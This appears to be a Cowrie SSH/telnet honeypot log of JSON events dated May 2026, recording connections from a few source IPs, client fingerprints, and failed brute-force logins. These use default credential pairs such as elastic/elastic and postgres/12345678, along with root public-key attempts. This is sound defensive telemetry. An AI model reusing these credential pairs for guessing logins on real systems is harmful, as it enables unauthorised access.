{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58374,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f80d0f26e93","protocol":"ssh","message":"New connection: 176.65.132.129:58374 (159.203.135.109:22) [session: 6f80d0f26e93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:24.592795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:24.597075Z","src_ip":"176.65.132.129","session":"6f80d0f26e93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:24.678466Z","src_ip":"176.65.132.129","session":"6f80d0f26e93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:24.924023Z","src_ip":"176.65.132.129","session":"6f80d0f26e93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:26.009028Z","src_ip":"176.65.132.129","session":"6f80d0f26e93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48050,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8e0886d39fb","protocol":"ssh","message":"New connection: 176.65.132.129:48050 (159.203.135.109:22) [session: e8e0886d39fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:28.100560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:28.105594Z","src_ip":"176.65.132.129","session":"e8e0886d39fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:28.188213Z","src_ip":"176.65.132.129","session":"e8e0886d39fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:28.436906Z","src_ip":"176.65.132.129","session":"e8e0886d39fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:29.521968Z","src_ip":"176.65.132.129","session":"e8e0886d39fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43226,"dst_ip":"10.17.0.5","dst_port":23,"session":"2293b9529c51","protocol":"telnet","message":"New connection: 45.58.127.90:43226 (10.17.0.5:23) [session: 2293b9529c51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:30.131867Z"}
{"eventid":"cowrie.session.closed","duration":0.9762618541717529,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:31.107989Z","src_ip":"45.58.127.90","session":"2293b9529c51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.221.176.152","src_port":36228,"dst_ip":"10.17.0.5","dst_port":22,"session":"41a0852cbb7c","protocol":"ssh","message":"New connection: 206.221.176.152:36228 (10.17.0.5:22) [session: 41a0852cbb7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:31.221610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:31.229266Z","src_ip":"206.221.176.152","session":"41a0852cbb7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:31.237130Z","src_ip":"206.221.176.152","session":"41a0852cbb7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:d5:e1:45:c2:b6:76:42:79:8a:52:7a:26:e9:c5:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZe54FX5B2lxyrjClTBjGFupO5JARLdtk5Vi7SGTo5k9aVvz3m0z6/ojLMGIyAUhNbWZKb7LyRXyLUZ9R+NYB5bBGm8hMQCmqYKPyaVGl5NvpwlTspoDWkSMHfYx7Ro8YTRPqUab4VYMBuUGHnmWNRBPAKcaFnatKM24n3o8cqs9Ulnm7PZiKh+EgCJUI85iOccvNEPOor/ZNfzR9Yl+h/gSFwAzEynTlNdvzdXw/rx/eQJSLhySuxHGGlliHajW4WhP+7pWFZZKeiS0Gpgyjd4Nlgaf9RhMWlcJqEo8NZPn63TDbKiXzGb3B3WYyrid5rIrqt4+2peikNNRQEfvFf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:d5:e1:45:c2:b6:76:42:79:8a:52:7a:26:e9:c5:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:31.255282Z","src_ip":"206.221.176.152","session":"41a0852cbb7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:d5:e1:45:c2:b6:76:42:79:8a:52:7a:26:e9:c5:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZe54FX5B2lxyrjClTBjGFupO5JARLdtk5Vi7SGTo5k9aVvz3m0z6/ojLMGIyAUhNbWZKb7LyRXyLUZ9R+NYB5bBGm8hMQCmqYKPyaVGl5NvpwlTspoDWkSMHfYx7Ro8YTRPqUab4VYMBuUGHnmWNRBPAKcaFnatKM24n3o8cqs9Ulnm7PZiKh+EgCJUI85iOccvNEPOor/ZNfzR9Yl+h/gSFwAzEynTlNdvzdXw/rx/eQJSLhySuxHGGlliHajW4WhP+7pWFZZKeiS0Gpgyjd4Nlgaf9RhMWlcJqEo8NZPn63TDbKiXzGb3B3WYyrid5rIrqt4+2peikNNRQEfvFf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:31.259320Z","src_ip":"206.221.176.152","session":"41a0852cbb7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:91:66:c0:6e:0a:b4:bd:6c:25:5f:66:1d:a5:54:be","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKr6a1A0rksys0QmLCxwyYys3ZgAg2Gk560IqYWh7V1J","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint ac:91:66:c0:6e:0a:b4:bd:6c:25:5f:66:1d:a5:54:be","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:31.267258Z","src_ip":"206.221.176.152","session":"41a0852cbb7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:91:66:c0:6e:0a:b4:bd:6c:25:5f:66:1d:a5:54:be","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKr6a1A0rksys0QmLCxwyYys3ZgAg2Gk560IqYWh7V1J","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:31.270700Z","src_ip":"206.221.176.152","session":"41a0852cbb7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:f5:4c:eb:d1:8a:39:85:ad:53:af:97:0f:0a:bf:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqthP4wGDCM69e2OBNsIROj1VcOzfY3AyimQfGcgbD9OOtG/w5sLryRZFhGlQi3c32r0sKAU4a3wo9JAQYVpqJgmUC3rqAw2BTKgOAKiWuOwRkgi6k2EuQGoKgUegfBNIR2vGbI9mEOcUojuyKquaRwQG6EqEv2n0eMwCzCp9px/fgObP79ibT+19/25FQFjCeaABVmdCeWdgdFaQYHkUKdefFeWx/UHy0HnQE3D6KW8dR+uMq1CKcF1JOUSCn3h00E88005hJ+2qyxU0+P7Jbk5Q6Ij2ZVrRGzSfh/fUmIwKu+iNip0VtejXjhWdwIP+jKD8ycNjEZIdrl99deo92w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:f5:4c:eb:d1:8a:39:85:ad:53:af:97:0f:0a:bf:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:31.277333Z","src_ip":"206.221.176.152","session":"41a0852cbb7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:f5:4c:eb:d1:8a:39:85:ad:53:af:97:0f:0a:bf:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqthP4wGDCM69e2OBNsIROj1VcOzfY3AyimQfGcgbD9OOtG/w5sLryRZFhGlQi3c32r0sKAU4a3wo9JAQYVpqJgmUC3rqAw2BTKgOAKiWuOwRkgi6k2EuQGoKgUegfBNIR2vGbI9mEOcUojuyKquaRwQG6EqEv2n0eMwCzCp9px/fgObP79ibT+19/25FQFjCeaABVmdCeWdgdFaQYHkUKdefFeWx/UHy0HnQE3D6KW8dR+uMq1CKcF1JOUSCn3h00E88005hJ+2qyxU0+P7Jbk5Q6Ij2ZVrRGzSfh/fUmIwKu+iNip0VtejXjhWdwIP+jKD8ycNjEZIdrl99deo92w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:31.281904Z","src_ip":"206.221.176.152","session":"41a0852cbb7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:87:79:fe:a1:65:6f:16:99:3f:bf:76:fa:5d:17:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu22soITbl+pMF6AqLw43Myt+5CZQWPbo4c+d8Qg0z2hVnRs5wp+dHmSnZfSfojGTrzZgHZmz/LWWNIQdLuPXIT8bZE24aKZ6i2VLDxAjpTbNDUDIKDo0tdz8ngsEtEl1Em2RwbdlBGb+v/h2pUt1pl+koRyQY2U4R+VWyG5iE550AD5R5HLEAPMocAlBrFT2SzebWmm0LYUl1uqVkJ6PrSfNwQjBeSOBTm4e2gC8OuQkXyzi43vCQkx4PS0Dy+y4aU3slio9PTgSaLwdIkq5EVa8wGEH4ovaN5X1l8hd7JvAlrGRZrB+AtR4fwsG9X/BRSt1n9Jb6RyIZu1DCypxOQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:87:79:fe:a1:65:6f:16:99:3f:bf:76:fa:5d:17:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:31.289932Z","src_ip":"206.221.176.152","session":"41a0852cbb7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:87:79:fe:a1:65:6f:16:99:3f:bf:76:fa:5d:17:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAu22soITbl+pMF6AqLw43Myt+5CZQWPbo4c+d8Qg0z2hVnRs5wp+dHmSnZfSfojGTrzZgHZmz/LWWNIQdLuPXIT8bZE24aKZ6i2VLDxAjpTbNDUDIKDo0tdz8ngsEtEl1Em2RwbdlBGb+v/h2pUt1pl+koRyQY2U4R+VWyG5iE550AD5R5HLEAPMocAlBrFT2SzebWmm0LYUl1uqVkJ6PrSfNwQjBeSOBTm4e2gC8OuQkXyzi43vCQkx4PS0Dy+y4aU3slio9PTgSaLwdIkq5EVa8wGEH4ovaN5X1l8hd7JvAlrGRZrB+AtR4fwsG9X/BRSt1n9Jb6RyIZu1DCypxOQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:31.293896Z","src_ip":"206.221.176.152","session":"41a0852cbb7c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:03:6b:80:fa:2e:0e:cb:8d:81:5e:6f:68:2f:94:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0mUeh8+hQDfOHYoCA2EYLL0xHvanauIhKKmQ2R+M57U2P9cIxSpsnGglONGjr2jpUA8FN/bINkpwCovhvUpPybmU+3jFwpjLVqOmgTRI/GVKkrVnC/uHVwpt76YOKvTX5mGRv1D/DmBNWqgCvAIIb1zZtWUUSA6RBctIeXi3mzmlGzfh5XGzcmDxiqxEWqetCMvWHvifqcAyK4RMUkclU7oFsLvaS92xaT+2tYj+N7u3C+j7fSQe70Rr/aEGBDpsQCR9fwqigkB2ppXCLIWwH/ydeDYwMwU3QSDr+UEcmsPQD/LD0DD6T66spjuHLbVPT9YLYEUc9fo4yi7vM2AZaQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:03:6b:80:fa:2e:0e:cb:8d:81:5e:6f:68:2f:94:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:31.300677Z","src_ip":"206.221.176.152","session":"41a0852cbb7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:03:6b:80:fa:2e:0e:cb:8d:81:5e:6f:68:2f:94:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0mUeh8+hQDfOHYoCA2EYLL0xHvanauIhKKmQ2R+M57U2P9cIxSpsnGglONGjr2jpUA8FN/bINkpwCovhvUpPybmU+3jFwpjLVqOmgTRI/GVKkrVnC/uHVwpt76YOKvTX5mGRv1D/DmBNWqgCvAIIb1zZtWUUSA6RBctIeXi3mzmlGzfh5XGzcmDxiqxEWqetCMvWHvifqcAyK4RMUkclU7oFsLvaS92xaT+2tYj+N7u3C+j7fSQe70Rr/aEGBDpsQCR9fwqigkB2ppXCLIWwH/ydeDYwMwU3QSDr+UEcmsPQD/LD0DD6T66spjuHLbVPT9YLYEUc9fo4yi7vM2AZaQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:31.303261Z","src_ip":"206.221.176.152","session":"41a0852cbb7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:31.308910Z","src_ip":"206.221.176.152","session":"41a0852cbb7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48052,"dst_ip":"159.203.135.109","dst_port":22,"session":"add040e5d36d","protocol":"ssh","message":"New connection: 176.65.132.129:48052 (159.203.135.109:22) [session: add040e5d36d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:31.488367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:31.493051Z","src_ip":"176.65.132.129","session":"add040e5d36d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:31.575604Z","src_ip":"176.65.132.129","session":"add040e5d36d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12345678","message":"login attempt [postgres/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:31.821399Z","src_ip":"176.65.132.129","session":"add040e5d36d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:32.906285Z","src_ip":"176.65.132.129","session":"add040e5d36d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48054,"dst_ip":"159.203.135.109","dst_port":22,"session":"87bcc6eb829c","protocol":"ssh","message":"New connection: 176.65.132.129:48054 (159.203.135.109:22) [session: 87bcc6eb829c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:34.795785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:34.800483Z","src_ip":"176.65.132.129","session":"87bcc6eb829c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:34.883132Z","src_ip":"176.65.132.129","session":"87bcc6eb829c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omid","password":"omid","message":"login attempt [omid/omid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:35.327621Z","src_ip":"176.65.132.129","session":"87bcc6eb829c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:36.412757Z","src_ip":"176.65.132.129","session":"87bcc6eb829c","protocol":"ssh"}
